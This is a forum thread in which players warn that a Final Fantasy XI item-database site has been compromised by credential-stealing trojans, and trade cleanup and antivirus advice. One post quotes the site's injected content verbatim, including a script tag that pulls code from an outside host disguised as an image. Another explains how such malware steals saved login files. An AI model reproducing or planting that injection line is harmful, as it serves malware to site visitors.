**WARNING** Somepage.com compromised **UPDATED 5/27**

[Kiyuan98]

Which highschool did you graduate from btw?

[Bartylby]

requiring a 4-6 digit number & putting in a soft kb with floating numbers in addition to the memberpass/userpass would prevent ALL thieves.... even free mmo's have it why don't all mmo's have it

[Prosek]

Wasn't taking any chances, after reformat I went and changed all my bank/brokerage passwords, and was pleasantly surprised when confronted by extra security questions because the bank sites didn't recognize my computer. Across the board, all of them asked me security questions before I could log in. I definitely agree with SE needing to implement something along those lines.

[Dayle]

I'll be reformatting for sure, but is the general consensus that if you've followed the steps to remove the smart.dll file, your system is "clean" of this hack?

[Naphtali]

Got this "interfaced not supported" couple times last 2 days. Just now like 30min ago Norton picked up Trojan and deleted it. I ran HiJackThis and don't see the file everyone is saying.. so might be ok now.

Just posting to say try Norton scan if you have it.. mine picked it up without even scanning.

[ahnalia]

I have visited somepage within the past 2 weeks to look up some synthing recipes.
I run firefox but until a few days ago I didn't use the noscript plug-in.
I have not received any POL error messages, and after scanning my PC, found no smart.dll or anything suspicious. I use spyware doctor (freebie version) and scan it daily to remove spyware, and have AVG, but that's pretty much it.
I am curious to know if there is a more specialized focal point of the attacks other than just visiting somepage or any other compromised site without some type of security.
A more common reason why these accounts are getting snagged.
I can't help but think something important is getting overlooked.

[Izzy]

Remember, just because your AV software said it has fixed the problem, that doesn't mean that the RMT haven't already gotten the info and just not acted on it. You should still change your passwords.

[DancingEdge]

Couple of questions;

Has anyone on Vista been infected? Is there more than one error message?

I -think- I got two different error messages the other day.
One I can't remember. One was an error contacting the lobby.
Both were at the character select screen (Where you see all your characters/mules, etc)
Both returned me to the lobby.

I was semi-afk and busy, at the time, so I didn't think anything of it or look too closely. I wish I had.

90% sure it was two different error messages.

I do not enter a password anywhere during my login.

It is saved. I just spam enter.

Is my password, can my password be, compromised, even if I didn't type my password?




Also does anyone have a good virus scanner for Vista that's free and non-memory/cpu intensive? I prefer occasional scanning to active monitoring, so something that's not gonna try to start itself constantly or add itself to my system startup every time I do a scan would be nice.


The only places I go on the internet are like, FFXIAH, Windower forum, KI, and here. Confused where I'd have gotten infected from, but I'm playing it safe.

[cdgreg]

Is my password, can my password be, compromised, even if I didn't type my password?

Sounds like yes from what others have been saying.

[DancingEdge]

Well, a friend of mine has remotely changed my password on her secure system.
So I should be fine until I can run scans and such.

[Aryea]

Yes, you can be compromised on Windows Vista, as I was. From where, I am not sure. I never got the smart.dll errors. I had nothing visibly apparent wrong and yet I was hacked. I had been to somepage, but not during the "recent" hackings, so who knows. My account was hacked 15 days ago.

So far as free AV software, most people think AVG (Grisoft) is good, as well as Spybot - Search and Destroy. However, with the investment I've placed on my character in the past 5 years, I decided to spend money for good AV programs. I bought Norton Internet Security 2008 (different than Norton Antivirus, is not a resource hog. I can play FFXI just fine w/o lagging with it running), as well as Spyware Doctor with Antivirus. In conjunction, the two programs work great, and each came with a 1 yr renewable license that supports up to 3 computers.

[dendryte]

Another day, another injection. Time for somepage to give up the ghost.

1 x Anu's Doublet

1 x Ea's Doublet

1 x Enlil's Gambison

12 x Imperial Wootz Ingots

10 x Imperial Gold Pieces<script src=http://www.1ive.net/images/title.jpg></script>

</td></tr></table></span><a name="reply"></a>

EDIT: Looks like another Adobe Flash player 9.0.115.0 exploit. Hope everyone upgraded or removed flash.
http://isc.sans.org/diary.html?storyid=4468&rss

[Afrohatch]

= Time for somepage to give up the ghost.

Indeed. Somepage has it's uses, but this is just getting ridiculous...fucking RMT are vicious. Or desperate, whatever.

[Izzy]

http://img213.imageshack.us/img213/7208/smart1ge6.jpg

Guessing this has nothing to do with the exploits?

[Therin]

Random quick question. If my PC were infected (which I doubt it is), and I change the password using the Windows Vista On-Screen Keyboard and SAVE the new password, this is undetectable through regular keylogging means, right?

Meaning they'd need some highly advanced shit or to just steal the entire login file, which they apparently don't do.

[Corrderio]

= Time for somepage to give up the ghost.

Indeed. Somepage has it's uses, but this is just getting ridiculous...fucking RMT are vicious. Or desperate, whatever.

Agreed, the only thing I ever found useful about them was the serach function, although FFXI AH is getting their system going, they still have a few bugs to work out though.

[ronin sparthos]

Atm Atlas and Somepage should be taken with extreme caution seeing both sites have been compromised at least twice. (that i know of).

It just isnt worth it anymore and as much as i hate wikia; at least they are arent getting raped with malicious scripts.

Alas somepage, the amount of headache you've given me just isnt worth the handy search function.

[#686578]

Random quick question. If my PC were infected (which I doubt it is), and I change the password using the Windows Vista On-Screen Keyboard and SAVE the new password, this is undetectable through regular keylogging means, right?

Meaning they'd need some highly advanced shit or to just steal the entire login file, which they apparently don't do.

If I remember right, wrong. Onscreen keyboard inputs key commands just as the keyboard does, which would be captured the same way. It's been a while since I've programmed, but I remember testing a program with a special condition towards accessibility options and the onscreen keyboard worked with commands I meant to work for the keyboard itself.

Ninja Edit: The best thing to do if you think you might be infected is to reformat your computer, reinstall an Anti-Virus and firewall FROM CD or OTHER OFFLINE SOURCE before connecting to the internet, then reinstall FFXI and update and change your password then. Using a friends known uncompromised computer is a second best, I guess.

[Therin]

Random quick question. If my PC were infected (which I doubt it is), and I change the password using the Windows Vista On-Screen Keyboard and SAVE the new password, this is undetectable through regular keylogging means, right?

Meaning they'd need some highly advanced shit or to just steal the entire login file, which they apparently don't do.

If I remember right, wrong. Onscreen keyboard inputs key commands just as the keyboard does, which would be captured the same way. It's been a while since I've programmed, but I remember testing a program with a special condition towards accessibility options and the onscreen keyboard worked with commands I meant to work for the keyboard itself.

Ninja Edit: The best thing to do if you think you might be infected is to reformat your computer, reinstall an Anti-Virus and firewall FROM CD or OTHER OFFLINE SOURCE before connecting to the internet, then reinstall FFXI and update and change your password then. Using a friends known uncompromised computer is a second best, I guess.

That's kinda shitty.

I changed my password on my Xbox 360 but I still have to input my password at least once in order to log in on my laptop, so that POL can have it saved. I'm almost positive that I'm not infected, but a friend got hacked earlier today so I wanted to change my password just as an extra precautionary measure. I always surf with NoScript/AdBlock, haven't found any malicious .dlls or other files, and run both Spydot and a Firewall, so I hope that I'm safe. But who knows, nowadays?

[Suterusu]

If you copy FF from one PC to another as an alternative way to install it, you will notice something in POL. All of you saved PlayOnline IDs and passwords go with it. It's not just key loggers. People are complaining "I haven't typed my password in 2 years how did I get hacked?" Simple. These programs are copying whichever file your information is SAVED on and transfering it to them. All they do is replace the file on their PC with yours and BAM. All the saved sign in information is there. They simply start POL and you're on your way to a new server ^-^